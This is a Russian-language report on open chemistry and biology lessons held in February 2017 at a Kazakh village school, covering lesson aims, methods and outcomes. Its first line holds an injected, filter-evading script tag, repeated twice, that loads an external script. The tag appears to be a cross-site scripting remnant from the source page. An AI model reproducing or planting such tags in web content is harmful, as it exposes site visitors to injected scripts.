<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

23.02.2017

Отчет

о проведении открытых уроков

в рамках декады ЕМЦ

с 13.02.-23.02.17 г.

по КГУ «Моховская ОШ»

на 2016-2017 учебный год

 

 

15 февраля проведен урок химии в 9 классе  на тему:  «Сплавы железа и их применение. Производство чугуна и стали. Развитие металлургии в Казахстане» .

Целью урока является  обобщение и систематизация знаний учащихся об особенностях получении металлов; научных принципах производства металлов и сплавов; о роли и особенности металлургического комплекса Казахстана, выявление последовательности производственных процессов в металлургии

Содержание учебного материала отобрано в соответствии с целями и задачами урока. Использован дополнительный материал,

т.к. в учебнике 9 класса не было материала по данной тематике. Отобран дополнительный материал на основе принципов научности, доступности, систематичности и последовательности. Методы обучения  были выбраны такие, как  самостоятельное изучение нового материала,  проблемный, исследование.

Методы контроля – взаимоконтроль и самоконтроль. Урок имел мультимедийное сопровождение, в нем задействованы здоровьесберегающие технологии (учащиеся выполняют разные виды работ, сменяющие друг друга, проведена физминутка).

Активизация познавательной деятельности учащихся при изучении темы «Металлы и их соединения» решалась через работу с дополнительной литературой, коллекций «Чугун и сталь», «Сплавы металлов».

Решались и задачи воспитательного характера – взаимопомощь, самооценка, взаимоконтроль.

   Базовый материал записан на слайдах. Практическая деятельность учащихся проявляется в виде самостоятельной работы: выполнения графического диктанта для самоконтроля, работы с учебником, поиска ответа на вопросы, работы у доски и в тетрадях.

Урок проведен 16 февраля по биологии по теме «Доказательства эволюции» в 9 классе. Урок был проведен по обновленной

программе с использованием критериального оценивания. Учитель поставил учебную цель, а также разработал критерии оценивания в рамках урока.

Проведена групповая, индивидуальная работы. В группах учащиеся работали с кейсами (вопрос, не требующий однозначного ответа). Учащиеся составляли постеры, затем выполняли индивидуальные задания на установление соответствия, а также выполняли тест.

На уроке была применена здоровьесберегающая технология (проведена  физминутка).

      На уроке было использовано трехязычие. Тема урока, приветствие, термины  были озвучены на английском, русском и казахском языках.

      Урок сопровождался слайдовой презентацией.  В конце урока была проведена рефлексия в виде “Мыслительного листа”, также была проведена стратегия «Горячий стул»

      Учащиеся активно участвовали на уроке, чувствовали  себя комфортно, установлены доброжелательные отношения.

      

Поставленные задачи, в целом, удалось реализовать. Уровень активности был достаточно высокий.  В конце  занятия учащимся было предложено  выразить свое отношение к уроку.

 

            Директор школы                                                                                              Р.Аманбаева

              Зам.по УВР                                                                                                       Г.Ахметова